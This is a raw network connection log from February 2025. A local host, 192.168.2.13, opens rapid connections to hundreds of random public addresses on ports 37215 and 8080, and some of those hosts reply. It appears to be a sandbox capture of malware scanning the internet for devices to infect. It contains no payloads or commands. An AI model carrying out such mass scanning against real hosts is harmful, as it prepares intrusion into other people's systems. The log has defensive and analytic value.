Feb 19, 2025 19:43:15.953085899 CET	27314	37215	192.168.2.13	41.211.25.46
Feb 19, 2025 19:43:15.953111887 CET	27314	37215	192.168.2.13	41.160.252.59
Feb 19, 2025 19:43:15.953128099 CET	27314	37215	192.168.2.13	41.10.26.62
Feb 19, 2025 19:43:15.953145981 CET	27314	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:15.953171015 CET	27314	37215	192.168.2.13	41.146.26.197
Feb 19, 2025 19:43:15.953183889 CET	27314	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:15.953217983 CET	27314	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:15.953213930 CET	27314	37215	192.168.2.13	41.5.194.24
Feb 19, 2025 19:43:15.953233957 CET	27314	37215	192.168.2.13	41.254.204.166
Feb 19, 2025 19:43:15.953262091 CET	27314	37215	192.168.2.13	41.218.15.4
Feb 19, 2025 19:43:15.953290939 CET	27314	37215	192.168.2.13	41.77.220.18
Feb 19, 2025 19:43:15.953310013 CET	27314	37215	192.168.2.13	41.165.247.113
Feb 19, 2025 19:43:15.953319073 CET	27314	37215	192.168.2.13	41.118.85.199
Feb 19, 2025 19:43:15.953356981 CET	27314	37215	192.168.2.13	41.126.7.138
Feb 19, 2025 19:43:15.953368902 CET	27314	37215	192.168.2.13	41.95.233.85
Feb 19, 2025 19:43:15.953402042 CET	27314	37215	192.168.2.13	41.181.189.62
Feb 19, 2025 19:43:15.953421116 CET	27314	37215	192.168.2.13	41.91.152.85
Feb 19, 2025 19:43:15.953440905 CET	27314	37215	192.168.2.13	41.207.66.122
Feb 19, 2025 19:43:15.953449965 CET	27314	37215	192.168.2.13	41.76.184.99
Feb 19, 2025 19:43:15.953489065 CET	27314	37215	192.168.2.13	41.173.244.130
Feb 19, 2025 19:43:15.953521967 CET	27314	37215	192.168.2.13	41.124.86.92
Feb 19, 2025 19:43:15.955200911 CET	37215	27314	41.59.4.209	192.168.2.13
Feb 19, 2025 19:43:15.955255985 CET	37215	27314	41.136.189.146	192.168.2.13
Feb 19, 2025 19:43:15.955281973 CET	27314	37215	192.168.2.13	41.59.4.209
Feb 19, 2025 19:43:15.955296993 CET	27314	37215	192.168.2.13	41.136.189.146
Feb 19, 2025 19:43:15.955327988 CET	37215	27314	41.168.82.214	192.168.2.13
Feb 19, 2025 19:43:15.955363035 CET	27314	37215	192.168.2.13	41.168.82.214
Feb 19, 2025 19:43:15.955454111 CET	37215	27314	41.152.169.55	192.168.2.13
Feb 19, 2025 19:43:15.955466986 CET	37215	27314	41.126.18.90	192.168.2.13
Feb 19, 2025 19:43:15.955480099 CET	37215	27314	41.103.177.245	192.168.2.13
Feb 19, 2025 19:43:15.955485106 CET	27314	37215	192.168.2.13	41.152.169.55
Feb 19, 2025 19:43:15.955490112 CET	27314	37215	192.168.2.13	41.126.18.90
Feb 19, 2025 19:43:15.955506086 CET	37215	27314	41.61.7.237	192.168.2.13
Feb 19, 2025 19:43:15.955513954 CET	27314	37215	192.168.2.13	41.103.177.245
Feb 19, 2025 19:43:15.955530882 CET	37215	27314	41.62.62.213	192.168.2.13
Feb 19, 2025 19:43:15.955544949 CET	37215	27314	41.41.222.182	192.168.2.13
Feb 19, 2025 19:43:15.955547094 CET	27314	37215	192.168.2.13	41.61.7.237
Feb 19, 2025 19:43:15.955560923 CET	27314	37215	192.168.2.13	41.62.62.213
Feb 19, 2025 19:43:15.955578089 CET	27314	37215	192.168.2.13	41.41.222.182
Feb 19, 2025 19:43:15.955579996 CET	37215	27314	41.29.48.183	192.168.2.13
Feb 19, 2025 19:43:15.955594063 CET	37215	27314	41.65.4.133	192.168.2.13
Feb 19, 2025 19:43:15.955606937 CET	37215	27314	41.245.93.82	192.168.2.13
Feb 19, 2025 19:43:15.955615044 CET	27314	37215	192.168.2.13	41.29.48.183
Feb 19, 2025 19:43:15.955627918 CET	27314	37215	192.168.2.13	41.65.4.133
Feb 19, 2025 19:43:15.955648899 CET	27314	37215	192.168.2.13	41.245.93.82
Feb 19, 2025 19:43:15.955796957 CET	37215	27314	41.63.9.111	192.168.2.13
Feb 19, 2025 19:43:15.955810070 CET	37215	27314	41.71.193.225	192.168.2.13
Feb 19, 2025 19:43:15.955821991 CET	37215	27314	41.37.75.83	192.168.2.13
Feb 19, 2025 19:43:15.955826998 CET	27314	37215	192.168.2.13	41.63.9.111
Feb 19, 2025 19:43:15.955836058 CET	26802	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:15.955845118 CET	27314	37215	192.168.2.13	41.71.193.225
Feb 19, 2025 19:43:15.955848932 CET	27314	37215	192.168.2.13	41.37.75.83
Feb 19, 2025 19:43:15.955873013 CET	37215	27314	41.174.20.98	192.168.2.13
Feb 19, 2025 19:43:15.955887079 CET	37215	27314	41.58.178.23	192.168.2.13
Feb 19, 2025 19:43:15.955897093 CET	26802	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:15.955910921 CET	27314	37215	192.168.2.13	41.174.20.98
Feb 19, 2025 19:43:15.955912113 CET	26802	8080	192.168.2.13	31.118.53.55
Feb 19, 2025 19:43:15.955920935 CET	27314	37215	192.168.2.13	41.58.178.23
Feb 19, 2025 19:43:15.955926895 CET	37215	27314	41.247.254.246	192.168.2.13
Feb 19, 2025 19:43:15.955936909 CET	26802	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:15.955940962 CET	37215	27314	41.194.36.134	192.168.2.13
Feb 19, 2025 19:43:15.955952883 CET	26802	8080	192.168.2.13	94.39.23.251
Feb 19, 2025 19:43:15.955955029 CET	37215	27314	41.138.13.5	192.168.2.13
Feb 19, 2025 19:43:15.955955029 CET	26802	8080	192.168.2.13	95.46.115.183
Feb 19, 2025 19:43:15.955967903 CET	37215	27314	41.62.16.240	192.168.2.13
Feb 19, 2025 19:43:15.955969095 CET	27314	37215	192.168.2.13	41.247.254.246
Feb 19, 2025 19:43:15.955970049 CET	26802	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:15.955969095 CET	27314	37215	192.168.2.13	41.194.36.134
Feb 19, 2025 19:43:15.955981970 CET	37215	27314	41.42.27.91	192.168.2.13
Feb 19, 2025 19:43:15.955982924 CET	26802	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:15.955986977 CET	27314	37215	192.168.2.13	41.138.13.5
Feb 19, 2025 19:43:15.955991983 CET	26802	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:15.956007004 CET	37215	27314	41.122.238.73	192.168.2.13
Feb 19, 2025 19:43:15.956007004 CET	26802	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:15.956012011 CET	27314	37215	192.168.2.13	41.42.27.91
Feb 19, 2025 19:43:15.956020117 CET	37215	27314	41.118.125.119	192.168.2.13
Feb 19, 2025 19:43:15.956022024 CET	26802	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:15.956022978 CET	27314	37215	192.168.2.13	41.62.16.240
Feb 19, 2025 19:43:15.956023932 CET	26802	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:15.956039906 CET	26802	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:15.956039906 CET	26802	8080	192.168.2.13	85.123.84.241
Feb 19, 2025 19:43:15.956043005 CET	27314	37215	192.168.2.13	41.122.238.73
Feb 19, 2025 19:43:15.956063986 CET	27314	37215	192.168.2.13	41.118.125.119
Feb 19, 2025 19:43:15.956068993 CET	26802	8080	192.168.2.13	95.231.13.167
Feb 19, 2025 19:43:15.956079960 CET	37215	27314	41.101.255.176	192.168.2.13
Feb 19, 2025 19:43:15.956084013 CET	26802	8080	192.168.2.13	62.96.191.144
Feb 19, 2025 19:43:15.956084013 CET	26802	8080	192.168.2.13	94.12.222.90
Feb 19, 2025 19:43:15.956091881 CET	26802	8080	192.168.2.13	62.253.28.231
Feb 19, 2025 19:43:15.956111908 CET	37215	27314	41.64.123.254	192.168.2.13
Feb 19, 2025 19:43:15.956115007 CET	26802	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:15.956115961 CET	26802	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:15.956118107 CET	27314	37215	192.168.2.13	41.101.255.176
Feb 19, 2025 19:43:15.956125975 CET	37215	27314	41.241.9.200	192.168.2.13
Feb 19, 2025 19:43:15.956132889 CET	26802	8080	192.168.2.13	62.91.151.8
Feb 19, 2025 19:43:15.956134081 CET	26802	8080	192.168.2.13	95.128.1.164
Feb 19, 2025 19:43:15.956140041 CET	27314	37215	192.168.2.13	41.64.123.254
Feb 19, 2025 19:43:15.956141949 CET	37215	27314	41.122.80.225	192.168.2.13
Feb 19, 2025 19:43:15.956152916 CET	26802	8080	192.168.2.13	31.119.162.196
Feb 19, 2025 19:43:15.956159115 CET	27314	37215	192.168.2.13	41.241.9.200
Feb 19, 2025 19:43:15.956168890 CET	26802	8080	192.168.2.13	85.20.179.232
Feb 19, 2025 19:43:15.956170082 CET	27314	37215	192.168.2.13	41.122.80.225
Feb 19, 2025 19:43:15.956187963 CET	26802	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:15.956188917 CET	37215	27314	41.41.234.11	192.168.2.13
Feb 19, 2025 19:43:15.956192970 CET	26802	8080	192.168.2.13	94.197.65.67
Feb 19, 2025 19:43:15.956204891 CET	37215	27314	41.43.243.254	192.168.2.13
Feb 19, 2025 19:43:15.956207037 CET	26802	8080	192.168.2.13	31.175.78.246
Feb 19, 2025 19:43:15.956219912 CET	37215	27314	41.241.169.74	192.168.2.13
Feb 19, 2025 19:43:15.956226110 CET	27314	37215	192.168.2.13	41.41.234.11
Feb 19, 2025 19:43:15.956227064 CET	26802	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:15.956234932 CET	37215	27314	41.233.83.189	192.168.2.13
Feb 19, 2025 19:43:15.956238031 CET	27314	37215	192.168.2.13	41.43.243.254
Feb 19, 2025 19:43:15.956254959 CET	37215	27314	41.17.151.184	192.168.2.13
Feb 19, 2025 19:43:15.956257105 CET	26802	8080	192.168.2.13	31.216.11.167
Feb 19, 2025 19:43:15.956257105 CET	27314	37215	192.168.2.13	41.241.169.74
Feb 19, 2025 19:43:15.956257105 CET	26802	8080	192.168.2.13	94.242.38.1
Feb 19, 2025 19:43:15.956268072 CET	26802	8080	192.168.2.13	85.29.98.39
Feb 19, 2025 19:43:15.956268072 CET	27314	37215	192.168.2.13	41.233.83.189
Feb 19, 2025 19:43:15.956289053 CET	27314	37215	192.168.2.13	41.17.151.184
Feb 19, 2025 19:43:15.956291914 CET	37215	27314	41.139.207.55	192.168.2.13
Feb 19, 2025 19:43:15.956291914 CET	26802	8080	192.168.2.13	31.209.94.222
Feb 19, 2025 19:43:15.956302881 CET	26802	8080	192.168.2.13	31.159.99.162
Feb 19, 2025 19:43:15.956305981 CET	37215	27314	41.149.82.29	192.168.2.13
Feb 19, 2025 19:43:15.956310987 CET	26802	8080	192.168.2.13	95.200.152.156
Feb 19, 2025 19:43:15.956315041 CET	26802	8080	192.168.2.13	85.205.147.107
Feb 19, 2025 19:43:15.956320047 CET	26802	8080	192.168.2.13	31.112.63.147
Feb 19, 2025 19:43:15.956330061 CET	26802	8080	192.168.2.13	95.232.253.19
Feb 19, 2025 19:43:15.956330061 CET	27314	37215	192.168.2.13	41.139.207.55
Feb 19, 2025 19:43:15.956331968 CET	37215	27314	41.63.31.103	192.168.2.13
Feb 19, 2025 19:43:15.956341982 CET	27314	37215	192.168.2.13	41.149.82.29
Feb 19, 2025 19:43:15.956352949 CET	26802	8080	192.168.2.13	62.177.98.51
Feb 19, 2025 19:43:15.956355095 CET	26802	8080	192.168.2.13	62.29.205.52
Feb 19, 2025 19:43:15.956357002 CET	37215	27314	41.93.245.46	192.168.2.13
Feb 19, 2025 19:43:15.956367970 CET	27314	37215	192.168.2.13	41.63.31.103
Feb 19, 2025 19:43:15.956372023 CET	26802	8080	192.168.2.13	31.170.230.220
Feb 19, 2025 19:43:15.956382990 CET	37215	27314	41.17.67.143	192.168.2.13
Feb 19, 2025 19:43:15.956384897 CET	26802	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:15.956384897 CET	27314	37215	192.168.2.13	41.93.245.46
Feb 19, 2025 19:43:15.956387043 CET	26802	8080	192.168.2.13	95.77.135.176
Feb 19, 2025 19:43:15.956396103 CET	26802	8080	192.168.2.13	85.9.228.142
Feb 19, 2025 19:43:15.956396103 CET	26802	8080	192.168.2.13	85.91.239.58
Feb 19, 2025 19:43:15.956397057 CET	26802	8080	192.168.2.13	62.72.26.17
Feb 19, 2025 19:43:15.956406116 CET	26802	8080	192.168.2.13	31.109.196.205
Feb 19, 2025 19:43:15.956406116 CET	26802	8080	192.168.2.13	94.214.185.93
Feb 19, 2025 19:43:15.956414938 CET	26802	8080	192.168.2.13	85.17.207.169
Feb 19, 2025 19:43:15.956413984 CET	26802	8080	192.168.2.13	95.25.141.130
Feb 19, 2025 19:43:15.956413984 CET	27314	37215	192.168.2.13	41.17.67.143
Feb 19, 2025 19:43:15.956420898 CET	26802	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:15.956427097 CET	37215	27314	41.244.238.5	192.168.2.13
Feb 19, 2025 19:43:15.956434011 CET	26802	8080	192.168.2.13	62.40.100.188
Feb 19, 2025 19:43:15.956440926 CET	37215	27314	41.61.56.86	192.168.2.13
Feb 19, 2025 19:43:15.956442118 CET	26802	8080	192.168.2.13	62.109.240.116
Feb 19, 2025 19:43:15.956453085 CET	26802	8080	192.168.2.13	95.9.31.254
Feb 19, 2025 19:43:15.956454039 CET	37215	27314	41.240.87.4	192.168.2.13
Feb 19, 2025 19:43:15.956453085 CET	26802	8080	192.168.2.13	94.74.231.247
Feb 19, 2025 19:43:15.956453085 CET	26802	8080	192.168.2.13	62.0.119.147
Feb 19, 2025 19:43:15.956466913 CET	27314	37215	192.168.2.13	41.244.238.5
Feb 19, 2025 19:43:15.956469059 CET	37215	27314	41.112.198.193	192.168.2.13
Feb 19, 2025 19:43:15.956474066 CET	27314	37215	192.168.2.13	41.61.56.86
Feb 19, 2025 19:43:15.956475019 CET	26802	8080	192.168.2.13	95.144.144.238
Feb 19, 2025 19:43:15.956482887 CET	26802	8080	192.168.2.13	31.184.184.115
Feb 19, 2025 19:43:15.956481934 CET	26802	8080	192.168.2.13	94.104.17.69
Feb 19, 2025 19:43:15.956485987 CET	27314	37215	192.168.2.13	41.240.87.4
Feb 19, 2025 19:43:15.956491947 CET	26802	8080	192.168.2.13	62.113.101.187
Feb 19, 2025 19:43:15.956497908 CET	37215	27314	41.232.80.4	192.168.2.13
Feb 19, 2025 19:43:15.956511021 CET	26802	8080	192.168.2.13	62.70.138.0
Feb 19, 2025 19:43:15.956520081 CET	27314	37215	192.168.2.13	41.112.198.193
Feb 19, 2025 19:43:15.956521988 CET	26802	8080	192.168.2.13	94.49.76.210
Feb 19, 2025 19:43:15.956521988 CET	37215	27314	41.186.74.5	192.168.2.13
Feb 19, 2025 19:43:15.956521988 CET	26802	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:15.956523895 CET	26802	8080	192.168.2.13	62.93.13.13
Feb 19, 2025 19:43:15.956526041 CET	26802	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:15.956526041 CET	26802	8080	192.168.2.13	85.68.195.238
Feb 19, 2025 19:43:15.956530094 CET	26802	8080	192.168.2.13	94.50.15.228
Feb 19, 2025 19:43:15.956532001 CET	26802	8080	192.168.2.13	85.28.1.187
Feb 19, 2025 19:43:15.956530094 CET	26802	8080	192.168.2.13	62.100.38.145
Feb 19, 2025 19:43:15.956540108 CET	37215	27314	41.192.225.158	192.168.2.13
Feb 19, 2025 19:43:15.956547022 CET	27314	37215	192.168.2.13	41.232.80.4
Feb 19, 2025 19:43:15.956547022 CET	26802	8080	192.168.2.13	95.50.71.168
Feb 19, 2025 19:43:15.956547022 CET	27314	37215	192.168.2.13	41.186.74.5
Feb 19, 2025 19:43:15.956553936 CET	26802	8080	192.168.2.13	31.186.47.21
Feb 19, 2025 19:43:15.956557989 CET	37215	27314	41.67.130.238	192.168.2.13
Feb 19, 2025 19:43:15.956571102 CET	37215	27314	41.45.130.26	192.168.2.13
Feb 19, 2025 19:43:15.956573963 CET	26802	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:15.956577063 CET	26802	8080	192.168.2.13	31.152.40.185
Feb 19, 2025 19:43:15.956577063 CET	26802	8080	192.168.2.13	85.116.84.78
Feb 19, 2025 19:43:15.956577063 CET	27314	37215	192.168.2.13	41.192.225.158
Feb 19, 2025 19:43:15.956584930 CET	37215	27314	41.133.191.146	192.168.2.13
Feb 19, 2025 19:43:15.956598043 CET	37215	27314	41.214.223.11	192.168.2.13
Feb 19, 2025 19:43:15.956604958 CET	27314	37215	192.168.2.13	41.67.130.238
Feb 19, 2025 19:43:15.956604958 CET	27314	37215	192.168.2.13	41.45.130.26
Feb 19, 2025 19:43:15.956610918 CET	37215	27314	41.251.60.162	192.168.2.13
Feb 19, 2025 19:43:15.956612110 CET	26802	8080	192.168.2.13	85.93.200.105
Feb 19, 2025 19:43:15.956618071 CET	27314	37215	192.168.2.13	41.133.191.146
Feb 19, 2025 19:43:15.956624985 CET	26802	8080	192.168.2.13	94.19.167.73
Feb 19, 2025 19:43:15.956624985 CET	37215	27314	41.13.120.181	192.168.2.13
Feb 19, 2025 19:43:15.956634998 CET	27314	37215	192.168.2.13	41.214.223.11
Feb 19, 2025 19:43:15.956634998 CET	26802	8080	192.168.2.13	85.31.104.118
Feb 19, 2025 19:43:15.956635952 CET	26802	8080	192.168.2.13	85.19.126.125
Feb 19, 2025 19:43:15.956640005 CET	27314	37215	192.168.2.13	41.251.60.162
Feb 19, 2025 19:43:15.956640959 CET	37215	27314	41.112.192.140	192.168.2.13
Feb 19, 2025 19:43:15.956643105 CET	26802	8080	192.168.2.13	31.70.187.9
Feb 19, 2025 19:43:15.956655979 CET	26802	8080	192.168.2.13	95.74.50.30
Feb 19, 2025 19:43:15.956656933 CET	27314	37215	192.168.2.13	41.13.120.181
Feb 19, 2025 19:43:15.956665993 CET	37215	27314	41.158.52.189	192.168.2.13
Feb 19, 2025 19:43:15.956670046 CET	26802	8080	192.168.2.13	94.18.59.20
Feb 19, 2025 19:43:15.956670046 CET	26802	8080	192.168.2.13	95.109.12.85
Feb 19, 2025 19:43:15.956670046 CET	26802	8080	192.168.2.13	31.195.227.26
Feb 19, 2025 19:43:15.956676960 CET	27314	37215	192.168.2.13	41.112.192.140
Feb 19, 2025 19:43:15.956686020 CET	26802	8080	192.168.2.13	62.190.17.29
Feb 19, 2025 19:43:15.956686020 CET	26802	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:15.956688881 CET	26802	8080	192.168.2.13	95.118.184.198
Feb 19, 2025 19:43:15.956701040 CET	27314	37215	192.168.2.13	41.158.52.189
Feb 19, 2025 19:43:15.956701040 CET	26802	8080	192.168.2.13	85.189.72.129
Feb 19, 2025 19:43:15.956703901 CET	37215	27314	41.165.238.250	192.168.2.13
Feb 19, 2025 19:43:15.956710100 CET	26802	8080	192.168.2.13	62.142.253.227
Feb 19, 2025 19:43:15.956710100 CET	26802	8080	192.168.2.13	85.134.180.229
Feb 19, 2025 19:43:15.956712008 CET	26802	8080	192.168.2.13	95.48.196.40
Feb 19, 2025 19:43:15.956712008 CET	26802	8080	192.168.2.13	85.254.42.153
Feb 19, 2025 19:43:15.956717968 CET	37215	27314	41.81.57.124	192.168.2.13
Feb 19, 2025 19:43:15.956723928 CET	26802	8080	192.168.2.13	31.208.26.227
Feb 19, 2025 19:43:15.956732988 CET	37215	27314	41.67.91.133	192.168.2.13
Feb 19, 2025 19:43:15.956734896 CET	26802	8080	192.168.2.13	94.242.29.121
Feb 19, 2025 19:43:15.956736088 CET	27314	37215	192.168.2.13	41.165.238.250
Feb 19, 2025 19:43:15.956736088 CET	26802	8080	192.168.2.13	95.126.6.39
Feb 19, 2025 19:43:15.956742048 CET	26802	8080	192.168.2.13	62.27.214.81
Feb 19, 2025 19:43:15.956743002 CET	26802	8080	192.168.2.13	85.91.154.202
Feb 19, 2025 19:43:15.956753016 CET	37215	27314	41.197.184.75	192.168.2.13
Feb 19, 2025 19:43:15.956759930 CET	27314	37215	192.168.2.13	41.81.57.124
Feb 19, 2025 19:43:15.956759930 CET	26802	8080	192.168.2.13	62.71.218.90
Feb 19, 2025 19:43:15.956760883 CET	26802	8080	192.168.2.13	31.18.31.131
Feb 19, 2025 19:43:15.956768036 CET	27314	37215	192.168.2.13	41.67.91.133
Feb 19, 2025 19:43:15.956769943 CET	26802	8080	192.168.2.13	85.101.211.21
Feb 19, 2025 19:43:15.956773043 CET	26802	8080	192.168.2.13	85.155.229.171
Feb 19, 2025 19:43:15.956773996 CET	26802	8080	192.168.2.13	62.75.60.109
Feb 19, 2025 19:43:15.956779957 CET	26802	8080	192.168.2.13	94.94.79.92
Feb 19, 2025 19:43:15.956779957 CET	26802	8080	192.168.2.13	94.36.161.68
Feb 19, 2025 19:43:15.956779957 CET	27314	37215	192.168.2.13	41.197.184.75
Feb 19, 2025 19:43:15.956785917 CET	26802	8080	192.168.2.13	85.68.221.252
Feb 19, 2025 19:43:15.956787109 CET	37215	27314	41.131.14.252	192.168.2.13
Feb 19, 2025 19:43:15.956796885 CET	26802	8080	192.168.2.13	95.94.210.210
Feb 19, 2025 19:43:15.956799030 CET	26802	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:15.956801891 CET	37215	27314	41.164.255.101	192.168.2.13
Feb 19, 2025 19:43:15.956806898 CET	26802	8080	192.168.2.13	62.124.56.11
Feb 19, 2025 19:43:15.956813097 CET	26802	8080	192.168.2.13	31.103.100.85
Feb 19, 2025 19:43:15.956814051 CET	26802	8080	192.168.2.13	31.24.132.254
Feb 19, 2025 19:43:15.956820965 CET	26802	8080	192.168.2.13	31.58.154.178
Feb 19, 2025 19:43:15.956825018 CET	27314	37215	192.168.2.13	41.131.14.252
Feb 19, 2025 19:43:15.956825018 CET	26802	8080	192.168.2.13	31.168.9.149
Feb 19, 2025 19:43:15.956830025 CET	37215	27314	41.50.61.235	192.168.2.13
Feb 19, 2025 19:43:15.956840992 CET	27314	37215	192.168.2.13	41.164.255.101
Feb 19, 2025 19:43:15.956840992 CET	26802	8080	192.168.2.13	31.162.3.29
Feb 19, 2025 19:43:15.956844091 CET	37215	27314	41.51.195.234	192.168.2.13
Feb 19, 2025 19:43:15.956845045 CET	26802	8080	192.168.2.13	62.66.223.97
Feb 19, 2025 19:43:15.956849098 CET	26802	8080	192.168.2.13	62.39.81.41
Feb 19, 2025 19:43:15.956849098 CET	26802	8080	192.168.2.13	94.81.85.120
Feb 19, 2025 19:43:15.956856966 CET	37215	27314	41.131.178.121	192.168.2.13
Feb 19, 2025 19:43:15.956861019 CET	27314	37215	192.168.2.13	41.50.61.235
Feb 19, 2025 19:43:15.956870079 CET	26802	8080	192.168.2.13	62.238.247.192
Feb 19, 2025 19:43:15.956870079 CET	26802	8080	192.168.2.13	62.104.158.97
Feb 19, 2025 19:43:15.956876993 CET	27314	37215	192.168.2.13	41.51.195.234
Feb 19, 2025 19:43:15.956876993 CET	26802	8080	192.168.2.13	94.157.141.163
Feb 19, 2025 19:43:15.956888914 CET	37215	27314	41.156.52.74	192.168.2.13
Feb 19, 2025 19:43:15.956898928 CET	26802	8080	192.168.2.13	85.220.231.22
Feb 19, 2025 19:43:15.956898928 CET	27314	37215	192.168.2.13	41.131.178.121
Feb 19, 2025 19:43:15.956901073 CET	37215	27314	41.10.53.160	192.168.2.13
Feb 19, 2025 19:43:15.956903934 CET	26802	8080	192.168.2.13	85.133.171.211
Feb 19, 2025 19:43:15.956912041 CET	26802	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:15.956916094 CET	26802	8080	192.168.2.13	85.154.160.227
Feb 19, 2025 19:43:15.956922054 CET	27314	37215	192.168.2.13	41.156.52.74
Feb 19, 2025 19:43:15.956933022 CET	27314	37215	192.168.2.13	41.10.53.160
Feb 19, 2025 19:43:15.956947088 CET	26802	8080	192.168.2.13	85.218.162.248
Feb 19, 2025 19:43:15.956949949 CET	37215	27314	41.242.77.114	192.168.2.13
Feb 19, 2025 19:43:15.956957102 CET	26802	8080	192.168.2.13	62.159.23.130
Feb 19, 2025 19:43:15.956971884 CET	37215	27314	41.223.83.199	192.168.2.13
Feb 19, 2025 19:43:15.956979990 CET	26802	8080	192.168.2.13	31.157.246.36
Feb 19, 2025 19:43:15.956986904 CET	26802	8080	192.168.2.13	31.194.11.61
Feb 19, 2025 19:43:15.956989050 CET	26802	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:15.956989050 CET	37215	27314	41.228.205.237	192.168.2.13
Feb 19, 2025 19:43:15.956989050 CET	27314	37215	192.168.2.13	41.242.77.114
Feb 19, 2025 19:43:15.956991911 CET	26802	8080	192.168.2.13	62.227.255.2
Feb 19, 2025 19:43:15.957005024 CET	27314	37215	192.168.2.13	41.223.83.199
Feb 19, 2025 19:43:15.957005978 CET	26802	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:15.957006931 CET	37215	27314	41.245.77.10	192.168.2.13
Feb 19, 2025 19:43:15.957025051 CET	27314	37215	192.168.2.13	41.228.205.237
Feb 19, 2025 19:43:15.957025051 CET	37215	27314	41.22.235.81	192.168.2.13
Feb 19, 2025 19:43:15.957039118 CET	26802	8080	192.168.2.13	85.33.52.66
Feb 19, 2025 19:43:15.957039118 CET	27314	37215	192.168.2.13	41.245.77.10
Feb 19, 2025 19:43:15.957040071 CET	37215	27314	41.168.4.54	192.168.2.13
Feb 19, 2025 19:43:15.957046032 CET	26802	8080	192.168.2.13	31.55.178.108
Feb 19, 2025 19:43:15.957052946 CET	37215	27314	41.43.128.137	192.168.2.13
Feb 19, 2025 19:43:15.957065105 CET	26802	8080	192.168.2.13	31.61.146.86
Feb 19, 2025 19:43:15.957068920 CET	37215	27314	41.119.241.216	192.168.2.13
Feb 19, 2025 19:43:15.957072973 CET	27314	37215	192.168.2.13	41.22.235.81
Feb 19, 2025 19:43:15.957073927 CET	27314	37215	192.168.2.13	41.168.4.54
Feb 19, 2025 19:43:15.957086086 CET	37215	27314	41.243.208.66	192.168.2.13
Feb 19, 2025 19:43:15.957088947 CET	26802	8080	192.168.2.13	62.88.169.59
Feb 19, 2025 19:43:15.957088947 CET	26802	8080	192.168.2.13	31.169.177.2
Feb 19, 2025 19:43:15.957088947 CET	27314	37215	192.168.2.13	41.43.128.137
Feb 19, 2025 19:43:15.957092047 CET	26802	8080	192.168.2.13	95.155.45.111
Feb 19, 2025 19:43:15.957101107 CET	26802	8080	192.168.2.13	94.19.125.200
Feb 19, 2025 19:43:15.957103968 CET	27314	37215	192.168.2.13	41.119.241.216
Feb 19, 2025 19:43:15.957110882 CET	26802	8080	192.168.2.13	62.250.240.211
Feb 19, 2025 19:43:15.957118988 CET	27314	37215	192.168.2.13	41.243.208.66
Feb 19, 2025 19:43:15.957124949 CET	26802	8080	192.168.2.13	62.127.129.76
Feb 19, 2025 19:43:15.957124949 CET	26802	8080	192.168.2.13	95.170.137.79
Feb 19, 2025 19:43:15.957132101 CET	37215	27314	41.17.5.255	192.168.2.13
Feb 19, 2025 19:43:15.957137108 CET	26802	8080	192.168.2.13	85.143.109.249
Feb 19, 2025 19:43:15.957144976 CET	37215	27314	41.14.9.199	192.168.2.13
Feb 19, 2025 19:43:15.957150936 CET	26802	8080	192.168.2.13	85.135.224.218
Feb 19, 2025 19:43:15.957150936 CET	26802	8080	192.168.2.13	95.71.0.133
Feb 19, 2025 19:43:15.957160950 CET	37215	27314	41.198.206.73	192.168.2.13
Feb 19, 2025 19:43:15.957161903 CET	26802	8080	192.168.2.13	62.86.96.49
Feb 19, 2025 19:43:15.957161903 CET	26802	8080	192.168.2.13	31.89.117.137
Feb 19, 2025 19:43:15.957178116 CET	37215	27314	41.188.17.219	192.168.2.13
Feb 19, 2025 19:43:15.957179070 CET	26802	8080	192.168.2.13	85.7.186.13
Feb 19, 2025 19:43:15.957179070 CET	26802	8080	192.168.2.13	85.100.204.76
Feb 19, 2025 19:43:15.957181931 CET	27314	37215	192.168.2.13	41.14.9.199
Feb 19, 2025 19:43:15.957184076 CET	27314	37215	192.168.2.13	41.17.5.255
Feb 19, 2025 19:43:15.957184076 CET	26802	8080	192.168.2.13	95.166.123.60
Feb 19, 2025 19:43:15.957186937 CET	27314	37215	192.168.2.13	41.198.206.73
Feb 19, 2025 19:43:15.957187891 CET	26802	8080	192.168.2.13	94.103.141.211
Feb 19, 2025 19:43:15.957187891 CET	26802	8080	192.168.2.13	95.26.220.246
Feb 19, 2025 19:43:15.957195044 CET	26802	8080	192.168.2.13	95.147.252.83
Feb 19, 2025 19:43:15.957204103 CET	37215	27314	41.146.23.244	192.168.2.13
Feb 19, 2025 19:43:15.957211971 CET	27314	37215	192.168.2.13	41.188.17.219
Feb 19, 2025 19:43:15.957214117 CET	26802	8080	192.168.2.13	94.90.133.33
Feb 19, 2025 19:43:15.957215071 CET	26802	8080	192.168.2.13	85.0.246.113
Feb 19, 2025 19:43:15.957221985 CET	26802	8080	192.168.2.13	94.33.128.45
Feb 19, 2025 19:43:15.957227945 CET	26802	8080	192.168.2.13	62.207.171.79
Feb 19, 2025 19:43:15.957230091 CET	26802	8080	192.168.2.13	95.217.78.131
Feb 19, 2025 19:43:15.957242012 CET	27314	37215	192.168.2.13	41.146.23.244
Feb 19, 2025 19:43:15.957242966 CET	37215	27314	41.149.130.238	192.168.2.13
Feb 19, 2025 19:43:15.957247019 CET	26802	8080	192.168.2.13	95.214.73.173
